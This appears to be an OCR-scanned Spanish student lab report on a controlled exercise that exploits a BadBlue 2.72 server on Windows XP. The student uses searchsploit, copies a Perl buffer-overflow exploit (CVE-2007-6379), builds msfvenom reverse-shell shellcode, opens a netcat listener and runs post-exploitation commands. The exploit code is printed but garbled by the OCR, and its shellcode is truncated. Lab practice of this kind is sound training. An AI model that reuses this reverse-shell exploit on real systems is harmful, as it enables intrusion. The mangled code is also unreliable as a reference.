Connection: close
Cache-control: public

/home/kali

Figura 34. Servidor web respondiendo correctamente desde mi maquina Kali.
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Después de confirmar que BadBlue estaba corriendo en Windows XP, lo primero que se
me ocurrié hacer fue escalar privilgios asi que use el comando sudo su y la cave de mi maquina
para entrar a modo root ,luego quise asegurarme de que el servidor web estuviera respondiendo
correctamente desde mi maquina Kali. Para eso, ejecuté el siguiente comando curl -I
http://192.1.1.7:80/ en la termina, este comando me permitié obtener solo las cabeceras HTTP

del servidor, sin descargar el contenido completo.

/home/kali
BadBlue 2.7

Exploit Title | Path

2 - PassThru Remote Buffer Overflow | windows/remote/4784.pl
2b - Multiple Vulmerabilities

ar

2b - PassThru Buffer Overflow (Meta | windows/remote/168
Working Resources 1. - Denial of Se | windows
Working Resources 1 - Full Path Di | windows/remote/2@64@.txt

Shellcodes: No Result

/home/kali

Figura 35. consultar la base de datos de Exploit-DB directamente desde Kali.

Use el comando searchsploit BadBlue 2.7 este comando me permiti6 consultar la base
de datos de Exploit-DB directamente desde Kali. Los resultados fueron bastante utiles porque
encontré varios exploits relacionados con BadBlue 2.72, incluyendo uno de desbordamiento de
bufer remoto (PassThru) y otros que mencionaban vulnerabilidades multiples. También
aparecieron algunos exploits para versiones anteriores como la 1.2.7, pero mi enfoque estaba en
los que aplicaban directamente a la version 2.7 que estaba corriendo en el servidor. Con esta

informacion, ya tenia claro qué tipo de ataque podia intentar a continuacion.
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/home/kali
» windows/remote/4784.pl
Exploit: BadBlue 2.72 - PassThru Remote Buffer Overflow
URL: https xploit-db.com/exploits/4784
Path: exploitdb/exploits/windows/remote/4784 . pl
Codes: 0OSVDBE-42416, CVE-2007-¢
Verified: True

File Type: Perl sc
Copied EDB-ID #4784

/home/kali

Figura 36., Usé el comando searchsploit -p windows/remote/4784.pl

Después de encontrar el exploit para BadBlue, usé el comando searchsploit -p
windows/remote/4784.pl Esto me mostro que el exploit es un script. También me dio la ruta

exacta donde estd guardado en Kali. Con esta informacion

/home/kali

/home

Figura 37. Subir de directorio en la terminal, hasta llegar al directorio raiz /.

Después de preparar el exploit, lo siguiente que hice fue navegar por el sistema de
archivos en Kali. Usé el comando cd .. para subir de directorio en la terminal, hasta llegar al

directorio raiz /.
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!
fusr/share/exploitdb/exploits/windows/remote/4784.pl .

/

4784.pl

Figura 38. Se movio el archivo del repositorio de exploits de Kali a mi carpeta de trabajo

Una vez identificado el exploit que queria usar, lo copié¢ a mi directorio actual con el
comando cp /ust/share/exploitdb/exploits/windows/remote/4784.pl . Esto movio el archivo del
repositorio de exploits de Kali a mi carpeta de trabajo. Luego ejecuté Is para verificar que el
archivo estuviera ahi, y efectivamente aparecio 4784.pl junto con otras carpetas del sistema. Con

el exploit ya copiado, estaba listo para editarlo o ejecutarlo seglin fuera necesario.

root@kali: /
Session Acciones Editar Vista Ayuda
/
fusr/share/exploitdb/exploits/windows/remote/4784.pl .
/
4784.pl

adv.txt

i?name=CVE-2

Luigi Auriemma
ini acaro@jervus.it

#
g
#
#
#
#
#
#
#
#

Figura 39. Usé el comando nano 4784.pl Esto me permitio ver que el script
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Con el exploit ya copiado en mi directorio de trabajo, lo siguiente que hice fue abrirlo
para revisar su contenido. Usé el comando nano 4784.pl Esto me permitio ver que el script esta
escrito en Perl y que se trata de un exploit para un desbordamiento de pila en BadBlue 2.72,
También ejecuté cat 4784.pl para visualizar rapidamente el contenido en la terminal. Con esto,

ya tenia claro como funcionaba el exploit y estaba listo para probarlo.

badblue-272-seh.pl

nano &.6

GNU

Figura 40. Mostramos el encabezado del scrip y adjuntairﬁbivi lo demas

#!/usr/bin/perl
use IO: :Socket;,

# Configuracién
my Starget = SARGV[O0];
my $port = $ARGV[1],

if (!defined(Starget) || !defined($port)) {
print "Uso: $0 <IP_objetivo> <puerto>\n";
exit;

}

print "[+] Enviando exploit a Starget:Sport...\n";

# Shellcode generado con msfvenom:

# msfvenom -p windows/shell reverse tcp LHOST=192.1.1.13 LPORT=4444
EXITFUNC=thread -f perl -b "\x00\x0a\x0d"

my $shellcode =
"\xdb\xc0\xd9\x74\x24\xf4\x5e\xba\xae\x2e\x4b\x3e\x31\xc9\xbl".
"\x52\x31\x56\x17\x83\xc6\x04\x03\x0e\x3e\x3e\x3f\x52\xd6\x3c".

"..."; # « Aqui iria el shellcode completo (puedo darte el resto si lo

7

necesitas)

# Payload HTTP malicioso
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my Spayload = "GET /" . "A" x 4061 . S$shellcode . " HTTP/1.1\r\n";
Spayload .= "Host: Starget\r\n'";
Spayload .= "Connection: close\r\n\r\n";

# Enviar el payload

my S$sock = IO::Socket::INET->new(PeerAddr => S$Starget, PeerPort => $port,
Proto => "tcp") or die "[-] No se pudo conectar: §!";

print $sock $Spayload;

close (Ssock) ;

print "[+] Payload enviado. Esperando conexién reversa en
192.1.1.13:4444...\n";

Lo siguiente que hice fue crear el archivo encabezado utilizando el comando nano
badblue-272-seh.pl Creamos el archivo badblue-272-seh.pl con encabezado para documentar el
exploit de forma segura y organizada. Esto nos permite mantener un registro claro, evitar errores,

y demostrar que el analisis se hizo de forma ética y responsable.

/
+x badblue-272-seh.pl

/
-20 badblue-272-seh.pl

Figura 41. daremos el permiso de ejecucion

luego antes de ejecutar el exploit resultaba darle el permiso de ejecucion para eso utilizo
el comando chmod +x badblue-272-seh.pl y luego con el comando head -20 badblue-272-

seh.pl
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4.4.Ultimamos detalles para lanzar nuestro exploit

0 badblue-272-seh.p

#! /usr/bin/perl -w
http://aluigi.altervista.org/adv/badblue-adv.txt
https://wwm .securityfocus.com/bid/26803
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6379
exploit for stack overflow in badblue 2.72

Jacopo Cervini acaro@jervus.it
22/12/2007

#
i
#
#
8
# Credit to Luigi Auriemma
#
#
I
#
it

use I0::Socket;

if(1($ARGV[1]))
{

Figura 42. Usé head -20 badblue-272-seh para ver las primeras lineas del exploit

Usé head -20 badblue-272-seh para ver las primeras lineas del exploit. Ahi confirmé que
era para BadBlue 2.72, con referencias al CVE y los autores. También vi que usa Perl y empieza

cargando el mddulo de sockets, lo que indica que se conecta por red. Todo listo para probarlo.

Microsoft Windows ®P [Version 5.1.26081
C(C» Copyright 1785-2801 Microsoft Corp.

C:s»Documents and SettingssYecolXping 192.1.1.13
Haciendo ping a 192.1.1.13 con 32 hytes de datos:

Rezspueszsta desde 192.1.1.13: hytes=32 tiempo<im TTL=64
Hezpuesta desde 192.1.1.13: hytes=32 tiempo<im TTL=564
Rezspueszta desde 192.1.1.13: hytes=32 tiempo<im TTL=64
Hezpuesta desde 192.1.1.13: hyte=s=32 tiempo<im TTL=564

Eztadisticas de ping para 192.1.1.13:
Pagquetes: enviados = 4, pecibidos = 4, perdidos =
C@x perdidos?.

Tiempoz aproximados de ida v vuelta en milisegundos:
Minimo = Bms, Maximo = Bms, Media = Bms

C:“Documents and Settings“YecoX*ipconfig

Conf iguracidn IP de Windows

Figura 43. Nos aseguramos de que todo estuviera correctamente configurado probando la conexion
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Antes de lanzar el exploit, necesitibamos asegurarnos de que todo estuviera
correctamente configurado. Lo primero que hice fue verificar la IP de mi maquina Kali, que seria

la encargada de recibir la conexion reversa, esto lo hice haciendo ping de Windows XP a kali.

— SV 192.1.1.7

.

Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 18:49 -85
Nmap scan report for 192.1.1.7

Host is up (©.0820s latency).
Mot shown: 995 closed tcp ports (reset)
PORT STATE SERVICE VERSION

80/tcp open http BadBlue

httpd :
Figura 44. Escaneamos la red para ver el servicio
Con ambas maquinas listas, abri un listener en Kali usando netcat en el puerto 4444. Esto
me permitiria recibir la shell si el exploit funcionaba correctamente. Después, ejecuté el script
badblue-272-seh.pl, apuntando a la IP de la victima y al puerto donde BadBlue estaba corriendo.

El comando fue nc -lvpn 44

Figura 45. listener en Kali usando netcat en el puerto 4444

Como ya habia escalado permiso ahora si lance el exploit con el comando ./badblue-272-

seh.pl 192.1.1.7 80

4.5.Ingresamos a nuestra maquina victima

[+] Enviando exploit a
[+] Payload enviado. Esp

192 .
erando conexion reversa en 192.1.1.13:4444 ...

Figura 46, Ingresamos a nuestra maquina victima
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El script respondi6é que el payload fue enviado y que estaba esperando la conexion
reversa. En ese momento, todo estaba en manos del shellcode, si estaba bien configurado con mi

IP y puerto, y si la victima no tenia bloqueos, la conexioén deberia establecerse.

‘Archivos de programa‘\BadBlue>cd

Figura 47.Dentro de la maquina subimos a la carpeta raiz

En este punto ya habiamos ingresado a el archivo po respositrorio de badblue, lo que hice

luego fue subir de carpeta hasta llegar a la carpeta raiz, para ello use el comando ed ..

4.5.1 Navegamos un poco para obtener informacion

dir
El volumen
El nemero

Directorio

Archivos de programsa

19.300.601.856
:\>sysinfo

" no se reconoce como un comando interno o externo,

ama o archivo por lotes ejecutable.

XP Profe
Pack 3 Compilacien 2600
bricante del ¢ operativo: 1 Cor tion
acien de operativo: de jo independiente
compilaci el sistema operativo: Uniprocessor Fr
- way
way
76460-641-19273

Figura 48. Buscamos informacion

Con la shell ya establecida, comencé a interactuar con la maquina victima. Lo primero

que hice fue ejecutar el comando dir para confirmar que tenia acceso al sistema de archivos. El
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resultado mostro los directorios tipicos de una instalacion de Windows XP, como Archivos de
programa, Documents and Settings y Windows, ademas de archivos de configuracién como

autoexec.bat y config.sys, ambos con tamafio cero.

Figura 49. Mostramos la otra parte de la informacion obtenida

4.5.2 Culminamos nuestra explotacion

Para obtener informacion mas detallada del sistema, ejecuté systeminfo, lo cual si
funciono. El resultado confirmé que la maquina victima era un sistema Windows XP
Professional con Service Pack 3, compilacion 2600. También se mostrd el nombre del host WAY,

el tipo de compilacion y que se trataba de una estacion de trabajo independiente.
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Nombre de sesien Nem. de Uso de

Figura 50. Culminamos mostrando el servicio en ejecucion

Para finalizar mi exploracion del servico, ejecuté el comando tasklist desde la shell
remota. Esto me permitid visualizar los procesos activos en la maquina victima. Entre ellos se
encontraban procesos tipicos del sistema como System Idle Process, smss.exe, csrss.exe y varios

svchost.exe, lo que indica que el sistema estaba funcionando de forma estable en ese momento.
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Problemas Encontrados en la Realizacion de Este Manual
El principal problema al momento de elaborar este informe fue que los exploit realizados
a través de metasploit no funcionaron de manera dptima por lo que toco buscar otra forma de
vulnerar el servicio utilizando las librerias que el docente no sabia recomendado o solicitado al

momento de realizar esto la practica
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Solucion del Problema
El problema se solucion6 cambiando el enfoque de la explotacion ya que en vez de
utilizar el framework metasploitble hoy utilizamos librerias qué tenia y qué nos permitian hacer

lo mismo de forma indirecta.
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Recomendaciones
Por el momento no tengo una recomendacion para el laboratorio como tal, ya que en
general me gusto bastante la tematica trata. Espero practicar un poco mas para dominar el tema

que estamos viendo y los temas que veremos mas adelante.
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Conclusion
Puedo decir que esta practica fue muy util y practica: me permitié aplicar paso a paso lo
visto en clase sobre ocultacion de archivos y pruebas de intrusiéon en un ambiente controlado.
Usando VirtualBox para compartir carpetas, Camouflage para esconder y recuperar archivos
dentro de imagenes, y herramientas de auditoria como Nmap, searchsploit y netcat, logramos
identificar y explotar un servicio vulnerable (BadBlue en Windows XP) y comprobar como

funcionan los artefactos generados (la imagen con los archivos dentro y su extraccion).

En cada etapa montar la carpeta compartida, pasar e instalar programas en la VM,
camuflar y descamuflar con contraseia, hacer reconocimiento y escaneos, buscar y preparar el
exploit y abrir un listener quedoé claro que las configuraciones débiles y el software sin parchear
facilitan mucho el trabajo a un atacante. También reforcé habilidades précticas: manejar
VirtualBox, interpretar salidas de Nmap, localizar exploits con searchsploit, revisar scripts en
Perl y gestionar listeners para la post-explotacion. Ver la diferencia de tamaio entre la imagen
original y la que contiene archivos fue una muestra simple pero efectiva de como se puede

detectar este tipo de ocultamiento.

La actividad sirvio6 para practicar de forma real lo aprendido, organizar un flujo de trabajo
reproducible y dejar claros los riesgos y las medidas basicas de mitigacion (actualizar servicios,
controlar carpetas compartidas y usar buenas contrasefias). Fue una experiencia formativa y

concreta que nos prepara mejor para futuras practicas.



48

Referencias Bibliograficas
Oracle. (2024). VirtualBox: Powerful x86 and AMD64/Intel64 virtualization. Oracle VM

VirtualBox. https://www.virtualbox.org/

Kali Linux. (2024). Kali Linux Downloads. Offensive Security. https://www.kali.org/get-kali/
Nmap, org. (s. f.). Guia de referencia de Nmap (Pagina de manual). Recuperado 6 de agosto de

2025, de https://nmap.org/man/es/index.html

Rafael S Morales (2025) Aplicacion de servicio nmap y metaplotaible en la explotacion y
vulneracion de puertos tcp -Tema explicados en clase.

Badblue—EcuRed. (s. f.). Recuperado 13 de octubre de 2025, de https://www.ecured.cu/Badblue



https://www.virtualbox.org/
https://nmap.org/man/es/index.html
https://www.ecured.cu/Badblue

